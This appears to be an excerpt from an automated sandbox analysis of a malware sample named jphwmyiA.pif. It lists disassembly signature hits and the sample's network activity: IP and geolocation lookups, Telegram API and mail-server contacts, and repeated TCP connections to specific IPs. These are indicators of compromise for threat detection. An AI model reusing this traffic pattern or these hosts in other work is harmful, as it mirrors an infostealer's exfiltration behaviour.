Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B8C00h	10_2_250B8908
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B60F8h	10_2_250B5E00
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250BF9F8h	10_2_250BF700
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B2BE6h	10_2_250B2918
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250BE210h	10_2_250BDF18
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250BB708h	10_2_250BB410
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B0BF6h	10_2_250B0928
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B9F20h	10_2_250B9C28
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B7418h	10_2_250B7120
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B3507h	10_2_250B3238
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B5C30h	10_2_250B5938
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250BF530h	10_2_250BF238
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250BCA28h	10_2_250BC730
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B1516h	10_2_250B1248
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250BB240h	10_2_250BAF48
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B030Eh	10_2_250B0040
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B8738h	10_2_250B8440
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B3E26h	10_2_250B3B58
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B6F50h	10_2_250B6C58
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250BDD48h	10_2_250BDA50
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B1E36h	10_2_250B1B68
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250BC560h	10_2_250BC268
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B9A58h	10_2_250B9760
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B4746h	10_2_250B4478
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B8270h	10_2_250B7F78
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B5768h	10_2_250B5470
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250BF069h	10_2_250BED70
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B2756h	10_2_250B2488
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250BD880h	10_2_250BD588
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250BAD78h	10_2_250BAA80
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B9590h	10_2_250B9298
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B6A88h	10_2_250B6790
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B3076h	10_2_250B2DA8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250BEBA0h	10_2_250BE8A8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250BC098h	10_2_250BBDA0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B1086h	10_2_250B0DB8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250BA8B0h	10_2_250BA5B8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B7DA8h	10_2_250B7AB0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B3996h	10_2_250B36C8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B65C0h	10_2_250B62C8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250BD3B8h	10_2_250BD0C0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B19A6h	10_2_250B16D8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250BBBD0h	10_2_250BB8D8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B0777h	10_2_250B04D0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B90C8h	10_2_250B8DD0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B42B6h	10_2_250B3FE8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B78E0h	10_2_250B75E8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250BE6D8h	10_2_250BE3E0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250B22C6h	10_2_250B1FF8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250BCEF0h	10_2_250BCBF8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250BA3E8h	10_2_250BA0F0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250E0CC8h	10_2_250E09D0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then mov ecx, 000003E8h	10_2_250EFDF0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250E0800h	10_2_250E0508
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then mov ecx, 000003E8h	10_2_250EFDE0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 250E0338h	10_2_250E0040
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_250FFDEE
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_250FFAC9
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_250FFAD8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_252531D0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	10_2_2525EF70
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	10_2_2525EF78
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	10_2_252531C0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then push 00000000h	10_2_25B9E28E
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	15_2_1A40DC80
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-40h]	15_2_1EEBFD28
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 1EEBF2B5h	15_2_1EEBF0C8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 1EEBFC3Fh	15_2_1EEBF0C8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 1EEBE0C5h	15_2_1EEBDF07
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	15_2_1EEBEC1B
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	15_2_1EEBEDFB
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-40h]	15_2_1EEBFD21
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	15_2_1EEBE5E8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 1EEBE0C5h	15_2_1EEBE114
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2007185Dh	15_2_20071440
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2007C0D9h	15_2_2007BE30
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200710E9h	15_2_20070E38
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2007DAE9h	15_2_2007D840
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2007DF41h	15_2_2007DC98
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2007E399h	15_2_2007E0F0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2007E7F1h	15_2_2007E548
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2007B829h	15_2_2007B580
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2007EC49h	15_2_2007E9A0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2007BC81h	15_2_2007B9D8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2007F0A1h	15_2_2007EDF8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2007F4F9h	15_2_2007F250
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2007C531h	15_2_2007C288
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2007F951h	15_2_2007F6A8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2007C989h	15_2_2007C6E0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2007FDA9h	15_2_2007FB00
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2007CDE1h	15_2_2007CB38
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2007185Dh	15_2_2007178B
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2007D239h	15_2_2007CF90
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2007D691h	15_2_2007D3E8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008A17Eh	15_2_20089EB0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 20087DC0h	15_2_20087AF0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200868FDh	15_2_200865C0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008DCCEh	15_2_2008DA00
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200848C9h	15_2_20084620
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008EF0Eh	15_2_2008EC40
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200802E9h	15_2_20080040
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 20081CF9h	15_2_20081A50
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008CF1Eh	15_2_2008CC50
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 20083311h	15_2_20083068
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008AF2Eh	15_2_2008AC60
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 20085709h	15_2_20085460
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 20084D21h	15_2_20084A78
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 20080741h	15_2_20080498
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008E15Eh	15_2_2008DE90
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 20082151h	15_2_20081EA8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008C16Eh	15_2_2008BEA0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 20085B61h	15_2_200858B8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 20083769h	15_2_200834C0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008517Bh	15_2_20084ED0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008F39Eh	15_2_2008F0D0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008D3AEh	15_2_2008D0E0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008B3BEh	15_2_2008B0F0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 20080B99h	15_2_200808F0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 20083BC1h	15_2_20083918
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 20085FB9h	15_2_20085D10
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008E5EEh	15_2_2008E320
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008C5FEh	15_2_2008C330
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 20080FF1h	15_2_20080D48
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008A60Eh	15_2_2008A340
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 20086411h	15_2_20086168
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008701Ah	15_2_20086F69
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008F82Eh	15_2_2008F560
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008701Ah	15_2_20086F70
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 20084019h	15_2_20083D70
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008D83Eh	15_2_2008D570
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then mov esp, ebp	15_2_20089B8A
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008B84Eh	15_2_2008B580
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 20081449h	15_2_200811A0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008EA7Eh	15_2_2008E7B0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 20084471h	15_2_200841C8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008CA8Eh	15_2_2008C7C0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008AA9Eh	15_2_2008A7D0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200818A1h	15_2_200815F8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 2008FCBEh	15_2_2008F9F0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F4C77h	15_2_200F4908
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200FE210h	15_2_200FDF18
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F52A0h	15_2_200F4FA8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F22C6h	15_2_200F1FF8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F8C00h	15_2_200F8908
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F60F8h	15_2_200F5E00
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200FF9F8h	15_2_200FF700
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F2BE6h	15_2_200F2918
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200FB708h	15_2_200FB410
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F0BF6h	15_2_200F0928
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F9F20h	15_2_200F9C28
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F7418h	15_2_200F7120
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F3507h	15_2_200F3238
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F5C30h	15_2_200F5938
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200FF530h	15_2_200FF238
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200FCA28h	15_2_200FC730
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F1516h	15_2_200F1248
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200FB240h	15_2_200FAF48
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F030Eh	15_2_200F0040
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F8738h	15_2_200F8440
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F3E26h	15_2_200F3B58
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F6F50h	15_2_200F6C58
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200FDD48h	15_2_200FDA50
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F1E36h	15_2_200F1B68
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200FC560h	15_2_200FC268
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F9A58h	15_2_200F9760
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F4746h	15_2_200F4478
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F8270h	15_2_200F7F78
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F5768h	15_2_200F5470
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200FF069h	15_2_200FED70
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F2756h	15_2_200F2488
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200FD880h	15_2_200FD588
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200FAD78h	15_2_200FAA80
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F9590h	15_2_200F9298
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F6A88h	15_2_200F6790
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F3076h	15_2_200F2DA8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200FEBA0h	15_2_200FE8A8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200FC098h	15_2_200FBDA0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F1086h	15_2_200F0DB8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200FA8B0h	15_2_200FA5B8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F7DA8h	15_2_200F7AB0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F3996h	15_2_200F36C8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F65C0h	15_2_200F62C8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200FD3B8h	15_2_200FD0C0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F19A6h	15_2_200F16D8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200FBBD0h	15_2_200FB8D8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F0777h	15_2_200F04D0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F90C8h	15_2_200F8DD0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F42B6h	15_2_200F3FE8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200F78E0h	15_2_200F75E8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200FE6D8h	15_2_200FE3E0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200FCEF0h	15_2_200FCBF8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 200FA3E8h	15_2_200FA0F0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 20120CC8h	15_2_201209D0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then mov ecx, 000003E8h	15_2_2012FDF0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 20120338h	15_2_20120040
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then jmp 20120800h	15_2_20120508
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then mov ecx, 000003E8h	15_2_2012FDEF
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	15_2_2013FAD8
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	15_2_2013FAC9
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	15_2_2013FDEE
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	15_2_202931D0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	15_2_2029EF78
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	15_2_2029EF70
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	15_2_202931C0
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Code function: 4x nop then push 00000000h	15_2_20BDE28E

Source: global traffic	DNS query: name: amazonenviro.com
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: api.telegram.org
Source: global traffic	DNS query: name: mail.techniqueqatar.com

Source: global traffic	TCP traffic: 192.168.2.5:49726 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:49730 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:49733 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53582 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53591 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53604 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53612 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53624 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53636 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53637 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53643 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53644 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53657 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53667 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53677 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53689 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53696 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53701 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53705 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53716 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53718 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53730 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53731 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53734 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:53744 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53756 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53765 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53779 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53788 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:53795 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
Source: global traffic	TCP traffic: 192.168.2.5:49713 -> 166.62.27.188:80
Source: global traffic	TCP traffic: 192.168.2.5:49723 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:49723 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:49723 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:49731 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:49736 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53584 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53597 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53606 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53618 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53623 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53630 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53623 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53623 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53650 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53662 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53671 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53681 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53683 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53681 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53694 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53681 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53709 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53711 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53723 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53724 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53738 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53750 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53759 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53771 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:53782 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.5:49726 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:49726 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.5:49726 -> 188.114.97.3:443
